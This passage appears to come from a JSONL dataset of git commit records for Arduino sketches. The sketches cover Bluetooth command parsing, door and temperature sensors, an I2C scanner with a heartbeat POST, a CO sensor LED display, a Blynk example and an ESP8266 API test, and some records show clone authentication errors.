= \"laser\";\n func_map[2].fn = laser;\n\n}\n\nString bluetoothData = \"\";\nString serialData = \"\";\n\nvoid loop() {\n \/\/ blink -t 20 -i 100 -a\n listenBluetooth();\n \/\/ blink -t 20 -i 100 -a\n listenSerial();\n}\n\n\nvoid listenBluetooth() {\n while (bt.available() > 0) {\n char chr = bt.read();\n if (chr != '\\n') bluetoothData.concat(chr);\n if (chr == '\\n') {\n for (int i = 0; i < sizeof func_map \/ sizeof func_map[0]; i++) {\n if (bluetoothData.startsWith(func_map[i].key)) {\n func_map[i].fn(bluetoothData);\n }\n }\n bluetoothData = \"\";\n }\n }\n}\n\nvoid listenSerial() {\n while (Serial.available() > 0) {\n char chr = Serial.read();\n if (chr != '\\n') serialData.concat(chr);\n if (chr == '\\n') {\n for (int i = 0; i < sizeof func_map \/ sizeof func_map[0]; i++) {\n if (serialData.startsWith(func_map[i].key)) {\n func_map[i].fn(serialData);\n }\n }\n serialData = \"\";\n }\n }\n}\n\nvoid servo(String cmd) { \n String paramsStr = cmd.substring(sizeof __func__ \/ sizeof __func__[0]);\n\n Serial.println(\"servo\");\n\n int pin = getIntParam(\"-p\", paramsStr, 3);\n int degree = getIntParam(\"-d\", paramsStr, 0);\n\n Servo srv;\n srv.attach(pin);\n srv.write(map(degree, 0, 1023, 0, 180)); \n\n}\n\nvoid blink(String cmd) {\n String paramsStr = cmd.substring(sizeof __func__ \/ sizeof __func__[0]);\n\n int pin = getIntParam(\"-p\", paramsStr, 10);\n int times = getIntParam(\"-t\", paramsStr, 10);\n int interval = getIntParam(\"-i\", paramsStr, 250);\n\n pinMode(pin, OUTPUT);\n\n for (int i = 0; i < times ; i++) {\n digitalWrite(pin, HIGH);\n delay(interval);\n digitalWrite(pin, LOW);\n delay(interval);\n }\n\n if (isExistParam(\"-a\", paramsStr)) {\n digitalWrite(pin, HIGH);\n } else {\n digitalWrite(pin, LOW);\n }\n\n}\n\n\n\nvoid laser(String cmd) {\n String paramsStr = cmd.substring(sizeof __func__ \/ sizeof __func__[0]);\n\n int pin = getIntParam(\"-p\", paramsStr, 12);\n String msg = getStringParam(\"-m\", paramsStr, \" \");\n\n Serial.println(msg);\n\n pinMode(pin, OUTPUT);\n \/\/ delays are optional\n digitalWrite(pin, HIGH);\n delay(1000);\n digitalWrite(pin, LOW);\n delay(50);\n\n for (int i = 0; i < msg.length(); i++ ) {\n for (int j = 0; j < 4; j++) {\n Serial.println(alphabet[findCharIndex(msg.charAt(i))].charAt(j));\n if (alphabet[findCharIndex(msg.charAt(i))].charAt(j) == ' ') {\n digitalWrite(pin, HIGH);\n delay(100);\n digitalWrite(pin, LOW);\n delay(50);\n } else if (alphabet[findCharIndex(msg.charAt(i))].charAt(j) == '.') {\n digitalWrite(pin, HIGH);\n delay(300);\n digitalWrite(pin, LOW);\n delay(50);\n } else if (alphabet[findCharIndex(msg.charAt(i))].charAt(j) == '-') {\n digitalWrite(pin, HIGH);\n delay(500);\n digitalWrite(pin, LOW);\n delay(50);\n }\n }\n }\n}\n\nint findCharIndex(char chr){\n for(int i=0; i<(sizeof(chars) \/ sizeof(String)); i++ ){\n if(chars[i].startsWith(String(chr))){\n return i;\n }\n }\n return 0;\n} \n\nint getIntParam(String param_name, String params, int default_value) {\n int position = params.indexOf(param_name);\n\n if (position > -1) {\n return params.substring(position + param_name.length() + 1, params.indexOf(' ', position + param_name.length() + 1)).toInt();\n }\n return default_value;\n}\n\nString getStringParam(String param_name, String params, String default_value) {\n int position = params.indexOf(param_name);\n\n if (position > -1) {\n return params.substring(position + param_name.length() + 1, params.indexOf(' ', position + param_name.length() + 1));\n }\n return default_value;\n}\n\nboolean isExistParam(String param_name, String params) {\n return params.indexOf(param_name) > -1;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'bt_terminal.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a081ff1702a7d573fdeb168eed2dc7cd67c7c1ae","subject":"Initial DoorAndTempSensor","message":"Initial DoorAndTempSensor\n\n- This sensor combines an open\/close door sensor with\n a DS18B20 temperature sensor\n- It uses one Device2272 and one ArduinoDS18B20Sensor\n- The door state (open\/close) and the temperature is sent\n once every 2 minutes of when the state of the door changes\n","repos":"mhdawson\/arduino-sensors,mhdawson\/arduino-sensors","old_file":"DoorAndTempSensor.ino","new_file":"DoorAndTempSensor.ino","new_contents":"\/\/ Copyright 2015-2016 the project authors as listed in the AUTHORS file.\n\/\/ All rights reserved. Use of this source code is governed by the\n\/\/ license that can be found in the LICENSE file.\n\n#include \"Device2272.h\"\n#include \"ArduinoDS18B20Sensor.h\"\n\n\/\/ define the arduino pins used to connect to door sensor\n\/\/ the DS18B20 and the transmitter\n#define OPEN_CLOSE_PIN 5\n#define TEMP_PIN 2\n#define TXPIN 3\n\n\/\/ device id used in message transmitted for the\n\/\/ temp sensor\n#define DS18B20_SENSOR_ID 0x55\n\n\/\/ 2272 codes used to signify open or closed door\n#define DEVICE_2272_ID \"1111FFFF000\"\n#define CLOSED \"1\"\n#define OPEN \"0\"\n\n#define TRANSMIT_INTERVAL_SECONDS 120\n\nDevice2272 tx(TXPIN, 350);\nArduinoDS18B20Sensor tempSensor(DS18B20_SENSOR_ID, TEMP_PIN, TXPIN);\nint counter = 0;\nint lastState = 0;\n\nvoid setup() {\n pinMode(OPEN_CLOSE_PIN, INPUT);\n}\n\nvoid loop() {\n \/\/ we transmit the state of the door and the temperature every\n \/\/ TRANSMIT_INTERVAL_SECONDS or when the state (open\/close) of\n \/\/ the door changes\n delay(1000);\n counter++;\n int state = digitalRead(OPEN_CLOSE_PIN);\n if ((lastState != state) || (counter == TRANSMIT_INTERVAL_SECONDS)) {\n char message[NUM_CHARS_IN_MESSAGE+1];\n memset(message, 0, NUM_CHARS_IN_MESSAGE+1);\n strncat(message, DEVICE_2272_ID, NUM_CHARS_IN_MESSAGE);\n if(state == 0) {\n strncat(message, OPEN, NUM_CHARS_IN_MESSAGE);\n } else {\n strncat(message, CLOSED, NUM_CHARS_IN_MESSAGE);\n }\n tx.sendMessage(message);\n tempSensor.sendTemp();\n counter = 0;\n }\n \n lastState = state;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DoorAndTempSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b0a81154fe34162d58f92a823c52dde70532d455","subject":"changed time color and position","message":"changed time color and position\n","repos":"rybus\/mogette-ui,rybus\/mogette-ui,rybus\/mogette-ui","old_file":"arduino\/sketches\/lcd_display\/lcd_display.ino","new_file":"arduino\/sketches\/lcd_display\/lcd_display.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rybus\/mogette-ui.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b76a66b3b2470a2c9b71918a2a60f80a0563a5e2","subject":"added Simple Temperature demo","message":"added Simple Temperature demo\n","repos":"kashev\/making-sense,kashev\/making-sense,kashev\/making-sense","old_file":"arduino\/simple_temp_demo\/simple_temp_demo.ino","new_file":"arduino\/simple_temp_demo\/simple_temp_demo.ino","new_contents":"\/*\n\t|\\\/| _ | . _ _ (~ _ _ _ _ \n\t| |(_||<|| |(_| _)(\/_| |_\\(\/_\n\t\t\t\t _| \n\t\n\tKashev Dalmia :: dalmia3\n\tIsaac Dupree :: dupree2\n\n\tsimple_bt_demo.ino\n*\/\n\n\/*\n * Thanks to Kerry Wong:\n * http:\/\/www.kerrywong.com\/2010\/05\/09\/working-with-lm19-temperature-sensor\/\n *\/\n\n#define BAUD_RATE 9600\n\n\/*\n * PINS\n *\/\n\/\/ LM19 V_out pin on Analog Pin 0\n#define pinLM19 0\n\n\/*\n * ARDUINO REQUIRED - VOID & MAIN\n *\/\nvoid\nsetup (void)\n{\n\tSerial.begin(BAUD_RATE); \n}\n\n\/* GLOBAL VARIABLES *\/\n\/\/ globals are used so locals don't have to be reallocated every loop()\nfloat vin, tempC, tempF;\n \nvoid\nloop (void)\n{\n \/\/ sensor realing\n vin = 5.0 * analogRead(pinLM19) \/ 1024.0;\n tempC = (1.8663 - vin) \/ 0.01169;\n tempF = 1.8 * tempC + 32.0; \/\/ 9.0\/5.0 * tempC + 32.0\n \n \/\/ printing\n Serial.print(\"V: \");\n Serial.print(vin);\n Serial.print(\", \");\n Serial.print(\"C: \");\n Serial.print(tempC);\n Serial.print(\", \");\n Serial.print(\"F: \");\n Serial.println(tempF);\n \n \/\/ to reduce jitter\n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/simple_temp_demo\/simple_temp_demo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7fbadc8670e5e26371a7146b8611608e1dd6d70d","subject":"i2cscan","message":"i2cscan\n","repos":"abarbanell\/arduino-esp8266,abarbanell\/arduino-esp8266","old_file":"sketch_lg_i2cscan\/sketch_lg_i2cscan.ino","new_file":"sketch_lg_i2cscan\/sketch_lg_i2cscan.ino","new_contents":"\/\/ Sketch to connect wino-board to wifi and read out the assigned IP address.\n\/\/ this will be the basis for more functionality later.\n\/\/ all the SerialUSB output is just for debugging and not needed if this logic\n\/\/ is used in other sketches.\n\n#include <ESP8266WiFi.h>\n#include <Wire.h>\n#include \"config.h\" \n\nconst int delayms = 5 * 60 * 1000;\nconst char *server = LG_HOST;\nconst int port = LG_PORT;\n\n\nvoid setup() {\n Serial.begin(115200); \/\/Opens USB-Serial connection for terminal\n delay(5000);\n Serial.print(\"Serial interface is ready\\r\\n\");\n connectWifi();\n Wire.begin(4, 5); \/\/ sda on pin D2, scl on pin D1\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n byte error, address;\n int nDevices;\n \n Serial.print(\"WiFi heartbeat - ms since boot: \");\n Serial.print(millis());\n Serial.println();\n Serial.println(\"Scanning i2c devices... \");\n\n nDevices = 0; \n for(address = 1; address < 127; address++) {\n Wire.beginTransmission(address);\n error = Wire.endTransmission();\n\n if (error == 0) {\n Serial.print(\"I2C device found at address 0x\");\n if (address<16)\n Serial.print(\"0\");\n Serial.print(address,HEX);\n Serial.println(\" !\");\n \n nDevices++;\n }\n else if (error==4) {\n Serial.print(\"--Unknown error at address 0x\");\n if (address<16)\n Serial.print(\"0\");\n Serial.println(address,HEX);\n } \n }\n if (nDevices == 0)\n Serial.println(\"--No I2C devices found\\n\");\n else\n Serial.println(\"done\\n\");\n \n sendData(WiFi.hostname(), millis(), nDevices);\n delay(delayms);\n \n}\n\nvoid connectWifi() {\n Serial.print(\"Connecting to \");\n Serial.println(WIFI_SSID);\n \/\/ temporary fix until SDK 1.5.4 is used\n WiFi.persistent(false);\n WiFi.mode(WIFI_OFF);\n WiFi.mode(WIFI_STA);\n \/\/ temporary fix end\n WiFi.begin(WIFI_SSID, WIFI_PASSWORD);\n while (WiFi.status() != WL_CONNECTED) {\n delay(1000);\n Serial.print(WiFi.status());\n Serial.print(\".\");\n }\n \n Serial.println(\"\");\n Serial.print(\"Connected with IP: \"),\n Serial.println(WiFi.localIP());\n}\n\n\nvoid sendData(String hostname, long uptime, int i2cDevices) {\n WiFiClient client;\n\n Serial.println(\"starting to sendData: \" + hostname + \", \" + String(uptime) + \" to server: \" + server);\n if (client.connect(server, port)) { \n Serial.println(\"WiFi Client connected \");\n \n String postStr = \"{ \\\"hostname\\\": \\\"\";\n postStr += String(hostname);\n postStr += \"\\\", \\\"uptime\\\": \\\"\";\n postStr += String(uptime);\n postStr += \"\\\", \\\"i2cDevices\\\": \";\n postStr += String(i2cDevices);\n postStr += \" }\";\n \n String url = \"POST \/api\/collections\/hb?user_key=\";\n url += LG_API_KEY;\n url += \" HTTP\/1.1\\n\";\n url += \"Host: \";\n url += LG_HOST;\n url += \"\\n\";\n url += \"Connection: close\\n\";\n url += \"Content-Type: application\/json\\n\";\n url += \"Content-Length: \";\n url += String(postStr.length());\n url += \"\\n\\n\";\n \n Serial.println(url);\n Serial.println(postStr);\n client.print(url);\n client.print(postStr);\n delay(1000);\n \n } else {\n Serial.println(\"could not connect WifiClient\");\n }\n client.stop();\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch_lg_i2cscan\/sketch_lg_i2cscan.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"493d7f9ac5b750ae5a928fd457bc67ce8a3bfeb9","subject":"Create CO-Sensor-RGB-Common-Cathode-Out.ino","message":"Create CO-Sensor-RGB-Common-Cathode-Out.ino","repos":"gskielian\/Modular-Robotics,gskielian\/Modular-Robotics","old_file":"Sensors\/CO-Sensor-RGB-Common-Cathode-Out.ino","new_file":"Sensors\/CO-Sensor-RGB-Common-Cathode-Out.ino","new_contents":"int bpin = 9;\nint gpin = 11;\nint rpin = 10;\n\nint rval;\nint bval;\nint gval;\n\nint sensorRead;\n\nvoid setup()\n{\n Serial.begin(9600); \n pinMode(rpin, OUTPUT);\n pinMode(gpin, OUTPUT);\n pinMode(bpin, OUTPUT);\n \n\n}\n\nvoid loop()\n{\n sensorRead = analogRead(A0);\n Serial.println(sensorRead);\n rval=map(sensorRead,0,400,0,255);\n gval=map(sensorRead,400,0,0,255);\n analogWrite(rpin,rval);\n analogWrite(gpin,gval);\n delay(10);\n \n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sensors\/CO-Sensor-RGB-Common-Cathode-Out.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4936b4bbd31b217f98abdb34bdbc8a0d3f988d51","subject":"Create HMClientTest.ino","message":"Create HMClientTest.ino","repos":"IceMan66\/HMClient","old_file":"examples\/HMClientTest.ino","new_file":"examples\/HMClientTest.ino","new_contents":"#include <HMClient.h>\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/HMClientTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"234187ba17df293dd8f931ee288fc6e6f9c235bf","subject":"constant speed with accelstepper","message":"constant speed with accelstepper\n","repos":"audetto\/Adafruit_Motor_Shield_V2_Library,dwwkelly\/Adafruit_Motor_Shield_V2_Library,dwwkelly\/Adafruit_Motor_Shield_V2_Library","old_file":"examples\/Accel_ConstantSpeed\/Accel_ConstantSpeed.ino","new_file":"examples\/Accel_ConstantSpeed\/Accel_ConstantSpeed.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/audetto\/Adafruit_Motor_Shield_V2_Library.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"12b1b117ba789d4c66edd38d12c1a128549f9b53","subject":"Spark Core example","message":"Spark Core example\n","repos":"vshymanskyy\/blynk-library-spark,vshymanskyy\/blynk-library-spark,domo-connect\/blynk-library-spark,chieftuscan\/blynk-library-spark,yaneexy\/blynk-library-spark,yaneexy\/blynk-library-spark,chieftuscan\/blynk-library-spark,domo-connect\/blynk-library-spark","old_file":"firmware\/examples\/Transports\/SparkCore\/SparkCore.ino","new_file":"firmware\/examples\/Transports\/SparkCore\/SparkCore.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social groups: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\/\n\n\/\/#define BLYNK_DEBUG\n#define BLYNK_PRINT Serial\n#include \"blynk\/BlynkSimpleSparkCore.h\"\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n Serial.begin(9600);\n Blynk.begin(auth);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/Transports\/SparkCore\/SparkCore.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d9f3b0a9c8400a3dee220c5fc910b281377c3974","subject":"Add first soccer file","message":"Add first soccer file\n","repos":"EmanueleGiacomini\/icaro-robotics,EmanueleGiacomini\/icaro-robotics","old_file":"soccer\/soccer.ino","new_file":"soccer\/soccer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/EmanueleGiacomini\/icaro-robotics.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7c8d9b2d8dbea695dcdb306298d137051d6fda7b","subject":"Add TestEspApi example, exercising the non-RTOS C API.","message":"Add TestEspApi example, exercising the non-RTOS C API.\n","repos":"lrmoreno007\/Arduino,Lan-Hekary\/Arduino,esp8266\/Arduino,sticilface\/Arduino,martinayotte\/ESP8266-Arduino,NextDevBoard\/Arduino,Links2004\/Arduino,NextDevBoard\/Arduino,jes\/Arduino,hallard\/Arduino,wemos\/Arduino,me-no-dev\/Arduino,Adam5Wu\/Arduino,KaloNK\/Arduino,hallard\/Arduino,KaloNK\/Arduino,Links2004\/Arduino,toastedcode\/esp8266-Arduino,sticilface\/Arduino,esp8266\/Arduino,Links2004\/Arduino,NullMedia\/Arduino,NullMedia\/Arduino,KaloNK\/Arduino,Adam5Wu\/Arduino,quertenmont\/Arduino,toastedcode\/esp8266-Arduino,lrmoreno007\/Arduino,jes\/Arduino,esp8266\/Arduino,Juppit\/Arduino,hallard\/Arduino,Links2004\/Arduino,Juppit\/Arduino,Adam5Wu\/Arduino,sticilface\/Arduino,toastedcode\/esp8266-Arduino,wemos\/Arduino,martinayotte\/ESP8266-Arduino,Links2004\/Arduino,Lan-Hekary\/Arduino,toastedcode\/esp8266-Arduino,jes\/Arduino,lrmoreno007\/Arduino,me-no-dev\/Arduino,quertenmont\/Arduino,toastedcode\/esp8266-Arduino,quertenmont\/Arduino,martinayotte\/ESP8266-Arduino,KaloNK\/Arduino,gguuss\/Arduino,Juppit\/Arduino,jes\/Arduino,esp8266\/Arduino,me-no-dev\/Arduino,hallard\/Arduino,NextDevBoard\/Arduino,hallard\/Arduino,gguuss\/Arduino,Juppit\/Arduino,NullMedia\/Arduino,Adam5Wu\/Arduino,NullMedia\/Arduino,martinayotte\/ESP8266-Arduino,lrmoreno007\/Arduino,martinayotte\/ESP8266-Arduino,jes\/Arduino,me-no-dev\/Arduino,sticilface\/Arduino,wemos\/Arduino,wemos\/Arduino,NextDevBoard\/Arduino,NullMedia\/Arduino,gguuss\/Arduino,quertenmont\/Arduino,gguuss\/Arduino,quertenmont\/Arduino,KaloNK\/Arduino,gguuss\/Arduino,Adam5Wu\/Arduino,Juppit\/Arduino,Lan-Hekary\/Arduino,esp8266\/Arduino,lrmoreno007\/Arduino,Lan-Hekary\/Arduino,wemos\/Arduino,Lan-Hekary\/Arduino,me-no-dev\/Arduino,sticilface\/Arduino,NextDevBoard\/Arduino","old_file":"libraries\/esp8266\/examples\/TestEspApi\/TestEspApi.ino","new_file":"libraries\/esp8266\/examples\/TestEspApi\/TestEspApi.ino","new_contents":"\/**\n * TestEspApi by Max Vilimpoc\n * This code is released to the public domain.\n * \n * Test out the Expressif ESP8266 Non-OS API, exhaustively trying out \n * as many of the built-in functions as possible.\n * \n * Some of the code is based on examples in:\n * \"20A-ESP8266__RTOS_SDK__Programming Guide__EN_v1.3.0.pdf\"\n *\/\n\n#ifdef ESP8266\nextern \"C\" {\n#include \"user_interface.h\"\n}\n#endif\n\n\/\/ Set up output serial port (could be a SoftwareSerial\n\/\/ if really wanted).\n\nStream& ehConsolePort(Serial);\n\n\/\/ Wired to the blue LED on an ESP-01 board, active LOW.\n\/\/\n\/\/ Cannot be used simultaneously with Serial.print\/println()\n\/\/ calls, as TX is wired to the same pin. \n\/\/\n\/\/ UNLESS: You swap the TX pin using the alternate pinout.\nconst uint8_t LED_PIN = 1;\n\nconst char * const RST_REASONS[] =\n{\n \"REASON_DEFAULT_RST\",\n \"REASON_WDT_RST\",\n \"REASON_EXCEPTION_RST\",\n \"REASON_SOFT_WDT_RST\",\n \"REASON_SOFT_RESTART\",\n \"REASON_DEEP_SLEEP_AWAKE\",\n \"REASON_EXT_SYS_RST\"\n};\n\nconst char * const FLASH_SIZE_MAP_NAMES[] =\n{\n \"FLASH_SIZE_4M_MAP_256_256\",\n \"FLASH_SIZE_2M\",\n \"FLASH_SIZE_8M_MAP_512_512\",\n \"FLASH_SIZE_16M_MAP_512_512\",\n \"FLASH_SIZE_32M_MAP_512_512\",\n \"FLASH_SIZE_16M_MAP_1024_1024\",\n \"FLASH_SIZE_32M_MAP_1024_1024\"\n};\n\nconst char * const OP_MODE_NAMES[] \n{\n \"NULL_MODE\",\n \"STATION_MODE\",\n \"SOFTAP_MODE\",\n \"STATIONAP_MODE\"\n};\n\nconst char * const AUTH_MODE_NAMES[] \n{\n \"AUTH_OPEN\",\n \"AUTH_WEP\",\n \"AUTH_WPA_PSK\",\n \"AUTH_WPA2_PSK\",\n \"AUTH_WPA_WPA2_PSK\",\n \"AUTH_MAX\"\n};\n\nconst char * const PHY_MODE_NAMES[]\n{\n \"\",\n \"PHY_MODE_11B\",\n \"PHY_MODE_11G\",\n \"PHY_MODE_11N\"\n};\n\nconst char * const EVENT_NAMES[]\n{\n \"EVENT_STAMODE_CONNECTED\",\n \"EVENT_STAMODE_DISCONNECTED\",\n \"EVENT_STAMODE_AUTHMODE_CHANGE\",\n \"EVENT_STAMODE_GOT_IP\",\n \"EVENT_SOFTAPMODE_STACONNECTED\",\n \"EVENT_SOFTAPMODE_STADISCONNECTED\",\n \"EVENT_MAX\"\n};\n\nconst char * const EVENT_REASONS[]\n{\n \"\",\n \"REASON_UNSPECIFIED\",\n \"REASON_AUTH_EXPIRE\",\n \"REASON_AUTH_LEAVE\",\n \"REASON_ASSOC_EXPIRE\",\n \"REASON_ASSOC_TOOMANY\",\n \"REASON_NOT_AUTHED\",\n \"REASON_NOT_ASSOCED\",\n \"REASON_ASSOC_LEAVE\",\n \"REASON_ASSOC_NOT_AUTHED\",\n \"REASON_DISASSOC_PWRCAP_BAD\",\n \"REASON_DISASSOC_SUPCHAN_BAD\",\n \"REASON_IE_INVALID\",\n \"REASON_MIC_FAILURE\",\n \"REASON_4WAY_HANDSHAKE_TIMEOUT\",\n \"REASON_GROUP_KEY_UPDATE_TIMEOUT\",\n \"REASON_IE_IN_4WAY_DIFFERS\",\n \"REASON_GROUP_CIPHER_INVALID\",\n \"REASON_PAIRWISE_CIPHER_INVALID\",\n \"REASON_AKMP_INVALID\",\n \"REASON_UNSUPP_RSN_IE_VERSION\",\n \"REASON_INVALID_RSN_IE_CAP\",\n \"REASON_802_1X_AUTH_FAILED\",\n \"REASON_CIPHER_SUITE_REJECTED\",\n};\n\nconst char * const EVENT_REASONS_200[]\n{\n \"REASON_BEACON_TIMEOUT\",\n \"REASON_NO_AP_FOUND\"\n};\n\nvoid wifi_event_handler_cb(System_Event_t * event)\n{\n ehConsolePort.print(EVENT_NAMES[event->event]);\n ehConsolePort.print(\" (\");\n \n switch (event->event)\n {\n case EVENT_STAMODE_CONNECTED:\n break;\n case EVENT_STAMODE_DISCONNECTED:\n break;\n case EVENT_STAMODE_AUTHMODE_CHANGE:\n break;\n case EVENT_STAMODE_GOT_IP:\n break;\n case EVENT_SOFTAPMODE_STACONNECTED:\n case EVENT_SOFTAPMODE_STADISCONNECTED:\n {\n char mac[32] = {0};\n snprintf(mac, 32, MACSTR \", aid: %d\" , MAC2STR(event->event_info.sta_connected.mac), event->event_info.sta_connected.aid);\n \n ehConsolePort.print(mac);\n }\n break;\n }\n\n ehConsolePort.println(\")\");\n}\n\nvoid print_softap_config(Stream & consolePort, softap_config const& config)\n{\n consolePort.println();\n consolePort.println(F(\"SoftAP Configuration\"));\n consolePort.println(F(\"--------------------\"));\n\n consolePort.print(F(\"ssid: \"));\n consolePort.println((char *) config.ssid);\n\n consolePort.print(F(\"password: \"));\n consolePort.println((char *) config.password);\n\n consolePort.print(F(\"ssid_len: \"));\n consolePort.println(config.ssid_len);\n\n consolePort.print(F(\"channel: \"));\n consolePort.println(config.channel);\n\n consolePort.print(F(\"authmode: \"));\n consolePort.println(AUTH_MODE_NAMES[config.authmode]);\n\n consolePort.print(F(\"ssid_hidden: \"));\n consolePort.println(config.ssid_hidden);\n\n consolePort.print(F(\"max_connection: \"));\n consolePort.println(config.max_connection);\n\n consolePort.print(F(\"beacon_interval: \"));\n consolePort.print(config.beacon_interval);\n consolePort.println(\"ms\");\n\n consolePort.println(F(\"--------------------\"));\n consolePort.println();\n}\n\nvoid print_system_info(Stream & consolePort)\n{\n const rst_info * resetInfo = system_get_rst_info();\n consolePort.print(F(\"system_get_rst_info() reset reason: \"));\n consolePort.println(RST_REASONS[resetInfo->reason]);\n\n consolePort.print(F(\"system_get_free_heap_size(): \"));\n consolePort.println(system_get_free_heap_size());\n\n consolePort.print(F(\"system_get_os_print(): \"));\n consolePort.println(system_get_os_print());\n system_set_os_print(1);\n consolePort.print(F(\"system_get_os_print(): \"));\n consolePort.println(system_get_os_print());\n\n system_print_meminfo();\n\n consolePort.print(F(\"system_get_chip_id(): 0x\"));\n consolePort.println(system_get_chip_id(), HEX);\n\n consolePort.print(F(\"system_get_sdk_version(): \"));\n consolePort.println(system_get_sdk_version());\n\n consolePort.print(F(\"system_get_boot_version(): \"));\n consolePort.println(system_get_boot_version());\n\n consolePort.print(F(\"system_get_userbin_addr(): 0x\"));\n consolePort.println(system_get_userbin_addr(), HEX);\n\n consolePort.print(F(\"system_get_boot_mode(): \"));\n consolePort.println(system_get_boot_mode() == 0 ? F(\"SYS_BOOT_ENHANCE_MODE\") : F(\"SYS_BOOT_NORMAL_MODE\"));\n\n consolePort.print(F(\"system_get_cpu_freq(): \"));\n consolePort.println(system_get_cpu_freq());\n\n consolePort.print(F(\"system_get_flash_size_map(): \"));\n consolePort.println(FLASH_SIZE_MAP_NAMES[system_get_flash_size_map()]);\n}\n\nvoid print_wifi_general(Stream & consolePort)\n{\n consolePort.print(F(\"wifi_get_channel(): \"));\n consolePort.println(wifi_get_channel());\n \n consolePort.print(F(\"wifi_get_phy_mode(): \"));\n consolePort.println(PHY_MODE_NAMES[wifi_get_phy_mode()]);\n}\n\nvoid secure_softap_config(softap_config * config, const char * ssid, const char * password)\n{\n size_t ssidLen = strlen(ssid) < sizeof(config->ssid) ? strlen(ssid) : sizeof(config->ssid);\n size_t passwordLen = strlen(password) < sizeof(config->password) ? strlen(password) : sizeof(config->password);\n\n memset(config->ssid, 0, sizeof(config->ssid));\n memcpy(config->ssid, ssid, ssidLen);\n\n memset(config->password, 0, sizeof(config->password));\n memcpy(config->password, password, passwordLen);\n\n config->ssid_len = ssidLen;\n config->channel = 1;\n config->authmode = AUTH_WPA2_PSK;\n\/\/ config->ssid_hidden = 1;\n config->max_connection = 4;\n\/\/ config->beacon_interval = 1000;\n}\n\nvoid setup() \n{\n \/\/ Reuse default Serial port rate, so the bootloader\n \/\/ messages are also readable.\n \n Serial.begin(74880);\n\n \/\/ Try pushing frequency to 160MHz.\n system_update_cpu_freq(SYS_CPU_160MHZ);\n\n Serial.println();\n Serial.println(F(\"ESP starting.\"));\n\n \/\/ System usually boots up in about 200ms.\n \n Serial.print(F(\"system_get_time(): \"));\n Serial.println(system_get_time());\n\n \/\/ set_event_handler_cb_stream(Serial);\n wifi_set_event_handler_cb(wifi_event_handler_cb);\n\n print_system_info(Serial);\n\n Serial.print(F(\"wifi_get_opmode(): \"));\n Serial.print(wifi_get_opmode());\n Serial.print(F(\" - \"));\n Serial.println(OP_MODE_NAMES[wifi_get_opmode()]);\n\n Serial.print(F(\"wifi_get_opmode_default(): \"));\n Serial.print(wifi_get_opmode_default());\n Serial.print(F(\" - \"));\n Serial.println(OP_MODE_NAMES[wifi_get_opmode_default()]);\n\n Serial.print(F(\"wifi_get_broadcast_if(): \"));\n Serial.println(wifi_get_broadcast_if());\n\n softap_config config;\n wifi_softap_get_config(&config);\n secure_softap_config(&config, \"TestAP\", \"testtesttest\");\n wifi_softap_set_config(&config);\n print_softap_config(Serial, config);\n\n print_wifi_general(Serial);\n\n \/\/ This doesn't work on an ESP-01.\n \/\/ wifi_set_sleep_type(LIGHT_SLEEP_T);\n\n \/\/ Try this dirty little thing.\n \/\/ Doesn't work because ESP-01 module doesn't link XPD_DCDC -> RST.\n \/\/ ESP.deepSleep(15000);\n}\n\nvoid loop() \n{\n Serial.print(F(\"system_get_time(): \"));\n Serial.println(system_get_time());\n delay(1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/esp8266\/examples\/TestEspApi\/TestEspApi.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"7e3d545875f2bdd3f34f658b3167e3d6610d70b2","subject":"Create SparkTimeExample.ino","message":"Create SparkTimeExample.ino\n\nMove for new Spark 